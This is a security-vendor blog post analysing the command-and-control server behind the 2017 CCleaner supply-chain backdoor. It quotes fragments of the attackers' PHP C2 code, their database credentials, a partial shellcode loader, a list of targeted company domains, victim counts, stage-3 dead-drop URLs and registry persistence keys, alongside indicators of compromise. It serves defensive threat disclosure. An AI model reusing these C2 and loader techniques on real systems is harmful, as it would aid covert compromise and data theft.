

WEDNESDAY, SEPTEMBER 20, 2017

CCleaner Command and Control Causes Concern

This post was authored by [Edmund Brumaghin](#), [Earl Carter](#), [Warren Mercer](#), [Matthew Molyett](#), [Matthew Olney](#), [Paul Rascagneres](#) and [Craig Williams](#).

Note: *This blog post discusses active research by Talos into a new threat. This information should be considered preliminary and will be updated as research continues.*

INTRODUCTION

Talos recently published a technical [analysis](#) of a backdoor which was included with version 5.33 of the CCleaner application. During our investigation we were provided an archive containing files that were stored on the C2 server. Initially, we had concerns about the legitimacy of the files. However, we were able to quickly verify that the files were very likely genuine based upon the web server configuration files and the fact that our research activity was reflected in the contents of the MySQL database included in the archived files.

In analyzing the delivery code from the C2 server, what immediately stands out is a list of organizations, including Cisco, that were specifically targeted through delivery of a second-stage loader. Based on a review of the C2 tracking database, which only covers four days in September, we can confirm that at least 20 victim machines were served specialized secondary payloads. Below is a list of domains the attackers were attempting to target. Not all companies identified in the targets .php file were seen communicating with a secondary C2 or had a secondary payload deployed.

```
$DomainList = array(
"singtel.corp.root",
"htcgroup.corp",
"samsung-breda",
"Samsung",
"SAMSUNG.SEPM",
"samsung.sk",
"jp.sony.com",
"am.sony.com",
"gg.gauselmann.com",
"vmware.com",
"ger.corp.intel.com",
"amr.corp.intel.com",
```

```
"ntdev.corp.microsoft.com",  
"cisco.com",  
"uk.pri.o2.com",  
"vf-es.internal.vodafone.com",  
"linksys",  
"apo.epson.net",  
"msi.com.tw",  
"infoview2u.dvrDNS.org",  
"dfw01.corp.akamai.com",  
"hq.gmail.com",  
"dlink.com",  
"test.com");
```

Interestingly the array specified contains Cisco's domain (cisco.com) along with other high-profile technology companies. This would suggest a very focused actor after valuable intellectual property.

These new findings raise our level of concern about these events, as elements of our research point towards a possible unknown, sophisticated actor. These findings also support and reinforce our previous recommendation that those impacted by this supply chain attack should not simply remove the affected version of CCleaner or update to the latest version, but should restore from backups or reimage systems to ensure that they completely remove not only the backdoored version of CCleaner but also any other malware that may be resident on the system.

TECHNICAL DETAILS

Web Server

The contents of the web directory taken from the C2 server included a series of PHP files responsible for controlling communications with infected systems. The attacker used a symlink to redirect all normal traffic requesting 'index.php' to the 'x.php' file, which contains the malicious PHP script.

```
-rw-r--r-- 1 random staff 24179 Aug 15 06:18 cls_mysql.php  
drwxr-xr-x 5 random staff 170 Sep 12 04:45 data  
-rw-r--r-- 1 random staff 14558 Sep 12 11:18 x.php  
-rw-r--r-- 1 random staff 2174 Sep 13 03:44 init.php  
lrwxr-xr-x 1 random staff 5 Sep 19 00:36 index.php -> x.php
```

In analyzing the contents of the PHP files, we identified that the server implemented a series of checks to determine whether to proceed with standard operations or simply redirect to the legitimate Piriform web site. The contents of the HTTP Host header, the request method type, and the server port are checked to confirm that they match what is expected from beacons sent

and the server port are checked to confirm that they match what is expected from beacons sent from infected systems.

```
if($_SERVER["HTTP_HOST"] != "speccy.piriform.com")
{
    Header("Location: https://www.piriform.com");
    exit;
}

if($_SERVER["REQUEST_METHOD"] != "POST")
{
    Header("Location: https://www.piriform.com");
    exit;
}

if($_SERVER["SERVER_PORT"] != $ServerPort)
{
    Header("Location: https://www.piriform.com");
    exit;
}
```

The PHP contains references to the required table for information storage within the 'x.php' variables as defined:

```
1 <?php
2
3 define('IN_ECS', true);
4 require(dirname(__FILE__) . '/init.php');
5
6
```

Within 'init.php' the \$db_table is declared to allow insertion into the required database on the attacker infrastructure. This is 'Server' as defined below.

```
$timezone = 'PRC';
$db_host = 'localhost';
$db_user = 'ccuser';
$db_pass = 'kill.usercc';
$db_name = 'CC';
$db_table = 'Server';

$display_error = false;
$ServerPort = 443;
$NextOnlineDays= 2;

$x64DllName = "";
```

```
$x86DllName = "/var/www/html/data/GeeSetup_x86.dll";
```

The web server also contains a second PHP file (init.php) that defines core variables and operations used. Interestingly, this configuration specifies "PRC" as the time zone, which corresponds with People's Republic of China (PRC). It's important to note that this cannot be relied on for attribution. It also specifies the database configuration to use, as well as the filename and directory location to use for the variable \$x86DllName.

The following information is gathered from infected systems, which is later used to determine how to handle those hosts. This includes OS version information, architecture information, whether the user has administrative rights, as well as the hostname and domain name associated with the systems.

```
$Guid = $$['Guid'];
$info = $info . sprintf("Guid           : %08X\n", $$['Guid']);
$info = $info . sprintf("Major Version : %d\n", ord($$['OsVersion'][0]));
$info = $info . sprintf("Minor Version : %d\n", ord($$['OsVersion'][1]));
$info = $info . sprintf("Wow64         : %s\n", $IsWow64 ? "YES" : "NO");
$info = $info . sprintf("Process Win64 : %s\n", $ProcessWin64 ? "YES" : "NO");
$info = $info . sprintf("User Admin    : %s\n", $UserAdmin ? "YES" : "NO");
$info = $info . sprintf("Hostname      : %s\n", $$['HostName']);
$info = $info . sprintf("DomainName    : %s\n", $$['DomainName']);
```

The system profile information was rather aggressive and included specific information such as a list of software installed on the machine and all current running processes on the machine with no surprise that 'CCleaner.exe' was a current running process on the victim machine. The system profile information is then stored in the MySQL database.

```
$sql = sprintf("INSERT INTO %s (Guid, IPAddress, OnlineTime, MajorVersion, MinorVersion,
Wow64, ProcessWin64, UserAdmin, HostName, DomainName, MacAddress, Software, ProcessList) ".
"VALUES (%u, '%s', '%s', %d, %d, %d, %d, %d, '%s', '%s', '%s',
'%s', '%s')",
$db_table, $$['Guid'], $_SERVER['REMOTE_ADDR'], date('Y-m-d
H:i:s'), ord($$['OsVersion'][0]), ord($$['OsVersion'][1]),
ord($$['OsVersion'][2]) ? 1 : 0, $ProcessWin64 ? 1 : 0,
$UserAdmin ? 1 : 0,
addslashes_deep($$['HostName']), addslashes_deep($$[
'DomainName']), $macaddr, addslashes_deep($software),
addslashes_deep($process));

//echo $info;
//echo $sql;

$db->query($sql);
```

There is also functionality responsible for loading and executing the Stage 2 payload on systems that meet the predefined requirements, similar to functionality that we identified would be required in our previous analysis of Stage 1. While there is shellcode associated with both x86 and x64 PE delivery, it appears that only the x86 PE loading functionality is actually utilized by the C2 server.

```
$pe_loader_x86 =
"\x55\x8b\xec\x83\xec\x50\x53\x56\x57\xe8\xdf\x02\x00\x00\x80\x65".
"\xbc\x00\x8b\xf8\x8d\x45\xb0\x89\x7d\xec\x50\xc7\x45\xb0\x6b\x65".
```


During the compromise, the malware would periodically contact the C2 server and transmit reconnaissance information about infected systems. This information included IP addresses, online time, hostname, domain name, process listings, and more. It's quite likely this information was used by the attackers to determine which machines they should target during the final stages of the campaign.

The main connection data is stored in the "Server" table. Here is an example of one of Talos' hosts in that database table:

IP Address	Mac Address	Host Name	Major Version	Minor Version	User Admin
192.168.1.79.6	08:00:27:00:00:00-A6-87	192.168.1.79	6	1	0

In addition, the compromised machines would share a listing of installed programs.

```
Adobe Flash Player 23 ActiveX
Adobe Flash Player 26 NPAPI
Adobe Shockwave Player 12.1
CCleaner
CubePDF Utility 0.3.3 (x86)
Windows 僑僑僑僑 僑僑僑僑僑 - OLYMPUS IMAGING CORP.
Camera Communication Driver Package (09/09/2009 1.0.0.0)
Google Chrome
晉嶼抵妖撈姝撒價僑僑僑僑僑
LanScope Cat MR
Mozilla Firefox 55.0.3 (x86 ja)
Mozilla Maintenance Service
僑僑僑僑僑僑僑僑 僑僑僑僑僑僑僑
燻坂苓婁尋嬭強丐PDFFinder 4.6
Picasa 3
TeamViewer 9
Roxio Central Data
Google Toolbar for Internet Explorer
峭畢墻zip崙恣悵椀
Roxio Central Tools
Google Toolbar for Internet Explorer
Java 8 Update 141
UpdateAdvisor(柿懷憐柯) V3.60 L20
eReg
Java Auto Updater
PA-ZS600T
Google Earth Plug-in
Google Update Helper
swMSM
Intel(R) Management Engine Components
塔檻樺價僑僑僑2014
Windows Media Player Firefox Plugin
CubePDF 1.0.0RC7
Fuji Xerox DocuWorks Viewer Light 8
Google 擔柿坂擣椀
iCloud
Security Update for Microsoft Excel 2010 (KB3191907) 32-Bit Edition
Security Update for Microsoft Office 2010 (KB2956063) 32-Bit Edition
Update for Microsoft Office 2010 (KB2589318) 32-Bit Edition
```

A process list was also captured.

System

```
C:\Windows\System32\smss.exe
C:\Windows\System32\csrss.exe
C:\Windows\System32\wininit.exe
C:\Windows\System32\csrss.exe
C:\Windows\System32\services.exe
C:\Windows\System32\lsass.exe
C:\Windows\System32\lsmd.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\invsvcs.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\audiodg.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\SLsvc.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\winlogon.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\invsvcs.exe
C:\Windows\System32\spoolsv.exe
C:\Windows\System32\svchost.exe
C:\Program Files\Common Files\Adobe\ARM\1.0\armsvc.exe
C:\Program Files\Agilent\IO Libraries Suite\Agilent\IO Libraries Service.exe
C:\Program Files\Agilent\IO Libraries Suite\LxiMdnsResponder.exe
C:\Program Files\ESET\ESET Endpoint Antivirus\ekrn.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe
```

When combined, this information would be everything an attacker would need to launch a later stage payload that the attacker could verify to be undetectable and stable on a given system.

A second database table, separate from the 'Server' database table, contained an additional information set that was associated with systems that had actually been delivered the Stage 2 payload. This table contained similar survey information to the 'Server' database table, the structure of which is shown below:

```
mysql> show columns in OK;
```

Field	Type	Null	Key	Default	Extra
id	bigint(20) unsigned	NO	PRI	NULL	auto_increment
Guid	bigint(20)	NO	MUL	0	
IPAddress	varchar(15)	YES	MUL	NULL	
OnlineTime	datetime	YES		NULL	
MajorVersion	tinyint(4)	YES		0	
MinorVersion	tinyint(4)	YES		0	
Wow64	tinyint(1)	YES		0	
ProcessWin64	tinyint(1)	YES		0	
UserAdmin	tinyint(1)	YES		0	

HostName	varchar(256)	YES	MUL	NULL
DomainName	varchar(256)	YES	MUL	NULL
MacAddress	varchar(256)	YES		NULL
Software	mediumtext	YES		NULL
ProcessList	mediumtext	YES		NULL
Reserved1	int(11)	YES		0
Reserved2	int(11)	YES		0

16 rows in set (0.00 sec)

In analyzing this second database table 'OK', we can confirm that after deduplicating entries, 20 systems were successfully delivered the Stage 2 payload. Talos reached out to the companies confirmed affected by this Stage 2 payload to alert them of a possible compromise.

```
mysql> SELECT id,Guid,IPAddress,OnlineTime from OK;
```

id	Guid	IPAddress	OnlineTime
3			2017-09-13 07:07:12
4			2017-09-13 07:30:52
5			2017-09-13 07:49:26
6			2017-09-13 07:51:31
7			2017-09-13 07:52:19
8			2017-09-13 08:15:04
9			2017-09-13 09:10:52
10			2017-09-13 09:25:52
11			2017-09-13 09:50:29
12			2017-09-13 10:01:00
13			2017-09-13 11:46:46
14			2017-09-13 11:46:52
15			2017-09-13 12:19:37
16			2017-09-13 13:16:16
17			2017-09-13 13:54:05
18			2017-09-13 14:33:44
19			2017-09-13 21:27:02
20			2017-09-13 21:30:34
21			2017-09-14 03:32:18
22			2017-09-14 04:57:12
23			2017-09-14 13:01:08
24			2017-09-15 12:18:28
25			2017-09-15 23:19:41

23 rows in set (0.00 sec)

Based on analysis of the 'Server' database table, it is obvious this infrastructure provides attackers access to a variety of different targets. Given the filtering in place on the C2 server, the attackers could add or remove domains at any given time, based upon the environments or organizations they choose to target. To provide additional perspective regarding the types of systems that the attackers could choose to further compromise, the screenshot below shows the number of total entries that were contained within the database table used to store system profile

number of total entries that were contained within the database table used to store system profile information:

```
mysql> select count(*) from Server;
+-----+
| count(*) |
+-----+
|      862419 |
+-----+
1 row in set (0.00 sec)
```

The following screenshot shows the number of affected government systems around the world.

```
mysql> select count(*) from Server where DomainName like '%.gov%';
+-----+
| count(*) |
+-----+
|         540 |
+-----+
1 row in set (21.48 sec)
```

Likewise, looking at compromised systems belonging to domains containing the word 'bank' returns the following results:

```
mysql> select count(*) from Server where DomainName like '%bank%';
+-----+
| count(*) |
+-----+
|         51 |
+-----+
1 row in set (20.68 sec)
```

This demonstrates the level of access that was made available to the attackers through the use of this infrastructure and associated malware and further highlights the severity and potential impact of this attack.

Stage 2 Payloads

The stage 2 installer is GeeSetup_x86.dll. This installer checks the OS version and then drops either a 32-bit or 64-bit version of a trojanized tool. The x86 version is using a trojanized TSMSISrv.dll, which drops VirtCDRDrv (which matches the filename of a legitimate executable that is part of Corel) using a similar method to the backdoored CCleaner tool. The x64 version drops a trojanized EFACli64.dll file named SymEFA which is the filename taken from a legitimate executable that is part of "Symantec Endpoint". None of the files that are dropped are signed or legitimate.

Effectively, they patch a legitimate binary to package their malware. Additionally, the setup put an encoded PE in the registry :

HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\001
HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\002
HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\003
HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\004

The purpose of the trojanized binary is to decode and execute this PE in registry. This PE performs queries to additional C2 servers and executes in-memory PE files. This may complicate detection on some systems since the executable files are never stored directly on the file system.

Within the registry is a lightweight backdoor module which is run by the trojanized files. This backdoor retrieves an IP from data stegged into a github.com or wordpress.com search, from which an additional PE module is downloaded and run. The stage 3 payload also reaches out to "get.adoble.net"

```
https://github[.]com/search?q=joinlur&type=Users&utf8=%E2%9C%93  
https://en.search.wordpress[.]com/?src=organic&q=keepost
```

CODE REUSE

Talos has reviewed [claims](#) from Kaspersky researchers that there is code overlap with malware samples known to be used by [Group 72](#). While this is by no means proof in terms of attribution, we can confirm the overlap and we agree that this is important information to be considered.

On the left: 2bc2dee73f9f854fe1e0e409e1257369d9c0a1081cf5fb503264aa1bfe8aa06f (CCBkdr.dll)

On the right: 0375b4216334c85a4b29441a3d37e61d7797c2e1cb94b14cf6292449fb25c7b2 (Missl backdoor - APT17/Group 72)

```
.text:1000121D ; Attributes: bp-based frame  
.text:1000121D  
.text:1000121D CustomBase64 proc near ; CODE XREF: sub_1000252E+1141p  
.text:1000121D ; sub_1000252E+11E1p  
.text:1000121D  
.text:1000121D var_4 = dword ptr -4  
.text:1000121D arg_0 = dword ptr 8  
.text:1000121D arg_4 = dword ptr 0Ch  
.text:1000121D arg_8 = dword ptr 10h  
.text:1000121D arg_C = dword ptr 14h  
.text:1000121D  
.text:1000121D push ebp  
.text:1000121E mov ebp, esp  
.text:10001220 push ecx  
.text:10001221 push esi  
.text:10001222 push edi  
.text:10001223 mov edi, [ebp+arg_0]  
.text:10001226 test edi, edi  
.text:10001228 jz loc_10001360  
.text:1000122E cmp [ebp+arg_4], 0  
.text:10001232 jz loc_10001360  
.text:10001238 mov eax, [ebp+arg_4]  
.text:1000123B push 3  
.text:1000123D xor edx, edx  
.text:1000123F pop ecx  
.text:10001240 div ecx  
.text:10001242 push 3  
.text:10001244 xor edx, edx  
.text:10001246 pop esi  
.text:10001247 mov ecx, eax  
.text:10001249 mov eax, [ebp+arg_4]  
.text:1000124C div esi  
.text:1000124E mov eax, ecx  
.text:00401016 ; Attributes: bp-based frame  
.text:00401016  
.text:00401016 CustomBase64 proc near ; CODE XREF: sub_4014CD+18D1p  
.text:00401016 ; sub_4014CD+1A61p  
.text:00401016  
.text:00401016 var_4 = dword ptr -4  
.text:00401016 arg_0 = dword ptr 8  
.text:00401016 arg_4 = dword ptr 0Ch  
.text:00401016 arg_8 = dword ptr 10h  
.text:00401016 arg_C = dword ptr 14h  
.text:00401016  
.text:00401016 push ebp  
.text:00401017 mov ebp, esp  
.text:00401019 push ecx  
.text:0040101A push esi  
.text:0040101B push edi  
.text:0040101C mov edi, [ebp+arg_0]  
.text:0040101F test edi, edi  
.text:00401021 jz loc_401166  
.text:00401027 cmp [ebp+arg_4], 0  
.text:0040102B jz loc_401166  
.text:00401031 mov eax, [ebp+arg_4]  
.text:00401034 push 3  
.text:00401036 xor edx, edx  
.text:00401038 pop ecx  
.text:00401039 div ecx  
.text:0040103B push 3  
.text:0040103D xor edx, edx  
.text:0040103F pop esi  
.text:00401040 mov ecx, eax  
.text:00401042 mov eax, [ebp+arg_4]  
.text:00401045 div esi  
.text:00401047 mov eax, ecx
```

```

.text:10001250 shl     eax, 2
.text:10001253 mov     [ebp+arg_0], eax
.text:10001256 test   edx, edx
.text:10001258 mov     [ebp+var_4], edx
.text:1000125B jz     short loc_10001263
.text:1000125D add     eax, 4
.text:10001260 mov     [ebp+arg_0], eax
.text:10001263 loc_10001263:
.text:10001263 mov     esi, [ebp+arg_E] ; CODE XREF: CustomBase64+3E1j
.text:10001266 test   esi, esi
.text:10001268 jnz    short loc_10001278
.text:1000126A cmp     [ebp+arg_C], esi
.text:1000126D jnz    loc_10001260
.text:10001273 jmp     loc_10001260
-----
.text:10001278 loc_10001278:
.text:10001278 cmp     [ebp+arg_C], eax ; CODE XREF: CustomBase64+401j
.text:1000127B jb     loc_10001260
.text:10001281 test   ecx, ecx
.text:10001283 push   ebx
.text:10001284 jbe    short loc_1000128E
.text:10001286 mov     [ebp+arg_C], ecx
.text:10001289 loc_10001289:
.text:10001289 mov     bl, [edi] ; CODE XREF: CustomBase64+CF1j
.text:1000128B mov     al, [edi+1]
.text:1000128E lrc   edi
.text:1000128F mov     byte ptr [ebp+arg_4+3], al
.text:10001292 mov     al, bl
.text:10001294 lrc   edi
.text:10001295 sar     al, 2
.text:10001298 and    al, 3fh
.text:1000129A push   eax
.text:1000129B call   sub_100011D6
.text:100012A0 mov     [esi], al
.text:100012A2 mov     al, byte ptr [ebp+arg_4+3]
.text:100012A5 sar     al, 4
.text:100012A8 and    bl, 3
.text:100012AB and    al, 0fh

.text:00401849 shl     eax, 2
.text:0040184C mov     [ebp+arg_0], eax
.text:0040184F test   edx, edx
.text:00401851 mov     [ebp+var_4], edx
.text:00401854 jz     short loc_40185C
.text:00401856 add     eax, 4
.text:00401859 mov     [ebp+arg_0], eax
.text:0040185C loc_40185C:
.text:0040185C mov     esi, [ebp+arg_E] ; CODE XREF: CustomBase64+3E1j
.text:0040185F test   esi, esi
.text:00401861 jnz    short loc_401871
.text:00401863 cmp     [ebp+arg_C], esi
.text:00401866 jnz    loc_401166
.text:0040186C jmp     loc_401166
-----
.text:00401871 loc_401871:
.text:00401871 cmp     [ebp+arg_C], eax ; CODE XREF: CustomBase64+401j
.text:00401874 jb     loc_401166
.text:0040187A test   ecx, ecx
.text:0040187C push   ebx
.text:0040187D jbe    short loc_401877
.text:0040187F mov     [ebp+arg_C], ecx
.text:00401882 loc_401882:
.text:00401882 mov     bl, [edi] ; CODE XREF: CustomBase64+CF1j
.text:00401884 mov     al, [edi+1]
.text:00401887 lrc   edi
.text:00401888 mov     byte ptr [ebp+arg_4+3], al
.text:0040188B mov     al, bl
.text:0040188D lrc   edi
.text:0040188E sar     al, 2
.text:00401891 and    al, 3fh
.text:00401893 push   eax
.text:00401894 call   sub_401000
.text:00401899 mov     [esi], al
.text:0040189B mov     al, byte ptr [ebp+arg_4+3]
.text:0040189E sar     al, 4
.text:004018A1 and    bl, 3
.text:004018A4 and    al, 0fh

```

CONCLUSION

Supply chain attacks seem to be increasing in velocity and complexity. It's imperative that as security companies we take these attacks seriously. Unfortunately, security events that are not completely understood are often downplayed in severity. This can work counter to a victim's best interests. Security companies need to be conservative with their advice before all of the details of the attack have been determined to help users ensure that they remain protected. This is especially true in situations where entire stages of an attack go undetected for a long period of time. When advanced adversaries are in play, this is especially true. They have been known to craft attacks that avoid detection by specific companies through successful reconnaissance techniques.

In this particular example, a fairly sophisticated attacker designed a system which appears to specifically target technology companies by using a supply chain attack to compromise a vast number of victims, persistently, in hopes to land some payloads on computers at very specific target networks.

COVERAGE

Additional ways our customers can detect and block this threat are listed below.

PRODUCT	PROTECTION
AMP	✓
CloudLock	N/A
CWS	✓
Email Security	N/A
Network Security	N/A
Threat Grid	✓
Umbrella	✓
WFA	✓

Advanced Malware Protection ([AMP](#)) is ideally suited to prevent the execution of the malware used by these threat actors.

[CWS](#) or [WSA](#) web scanning prevents access to malicious websites and detects malware used in these attacks.

[AMP Threat Grid](#) helps identify malicious binaries and build protection into all Cisco Security products.

[Umbrella](#), our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.

INDICATORS OF COMPROMISE (IOCS)

Below are indicators of compromise associated with this attack.

Installer on the CC:

dc9b5e8aa6ec86db8af0a7aa897ca61db3e5f3d2e0942e319074db1aacfdc83
(GeeSetup_x86.dll)

64-bit trojanized binary:

128aca58be325174f0220bd7ca6030e4e206b4378796e82da460055733bb6f4f (EFACli64.dll)

32-bit trojanized binary:

07fb252d2e853a9b1b32f30ede411f2efbb9f01e4a7782db5eacf3f55cf34902 (TSMSISrv.dll)

DLL in registry: f0d1f88c59a005312faad902528d60acbf9cd5a7b36093db8ca811f763e1292a

Registry Keys:

- HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\001
- HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\002
- HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\003
- HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\004
- HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\HBP

Stage 2 Payload (SHA256):

dc9b5e8aa6ec86db8af0a7aa897ca61db3e5f3d2e0942e319074db1aacfdc83

POSTED BY [ALEXANDER CHIU](#) AT [5:57 PM](#)

LABELS: [AMP](#), [C2](#), [CCLEANER](#), [MALWARE](#), [TROJAN](#)

SHARE THIS POST



2 COMMENTS:

[UNKNOWN](#) SEPTEMBER 26, 2017 AT 7:48 AM

Very detailed analysis, impressive work, very helpful. The sophistication of these attacks is worrisome.

[Reply](#)

UNKNOWN SEPTEMBER 27, 2017 AT 3:46 PM

Great job, yall!

[Reply](#)

Enter your comment...

Comment as: ggyy (Google) ▾ Sign out

Publish Preview Notify me

POST A COMMENT

[NEWER POST](#)

[HOME](#)

[OLDER POST](#)

SUBSCRIBE TO: [POST COMMENTS \(ATOM\)](#)

Search Blog

SUBSCRIBE TO OUR FEED

 [Posts](#)

 [Comments](#)

 [Subscribe via Email](#)

BLOG ARCHIVE

▼ 2017 (149)

▶ OCTOBER (12)

▼ SEPTEMBER (17)

Threat Round Up for Sept 22 - Sept 29

Banking Trojan Attempts To Steal Brazillion\$

FIN7 Group Uses JavaScript and Stealer DLL Variant...

CCleaner Command and Control Causes Concern

Beers with Talos EP 13:A Vast CCleanup, Strutting ...

CCleanup: A Vast Number of Machines at Risk

Threat Round Up For Sept 8 - Sept 15

Beers with Talos EP12 - IrmaGerd! The Internet Ate...

Deep Dive in MarkLogic Exploitation Process via Ar...

Vulnerability Spotlight: YAML Parsing Remote Code ...

Vulnerability Spotlight: LibOFX Tag Parsing Code E...

Microsoft Patch Tuesday - September 2017

Vulnerability Spotlight: TALOS-2017-0430/0431: Mul...

Another Apache Struts Vulnerability Under Active E...

Vulnerability Spotlight: Content Security Policy b...

Graftor - But I Never Asked for This...

Threat Round Up for Aug 25 - Sep 1

▶ AUGUST (16)

▶ JULY (14)

▶ JUNE (14)

▶ MAY (19)

▶ APRIL (17)

▶ MARCH (17)

▶ FEBRUARY (12)

▶ JANUARY (11)

▶ 2016 (98)

▶ 2015 (62)

▶ 2014 (67)

▶ 2013 (30)

▶ 2012 (53)

▶ 2011 (23)

▶ 2010 (93)

▶ 2009 (146)

▶ 2008 (37)

RECOMMENDED BLOGS

CISCO BLOG

New Fog Standards Initiative Will Accelerate Digital Transformation

SNORT BLOG

Snort Subscriber Rule Set Update for 10/25/2017, BadRabbit

CLAMAV® BLOG

 About

 Careers

 Blog

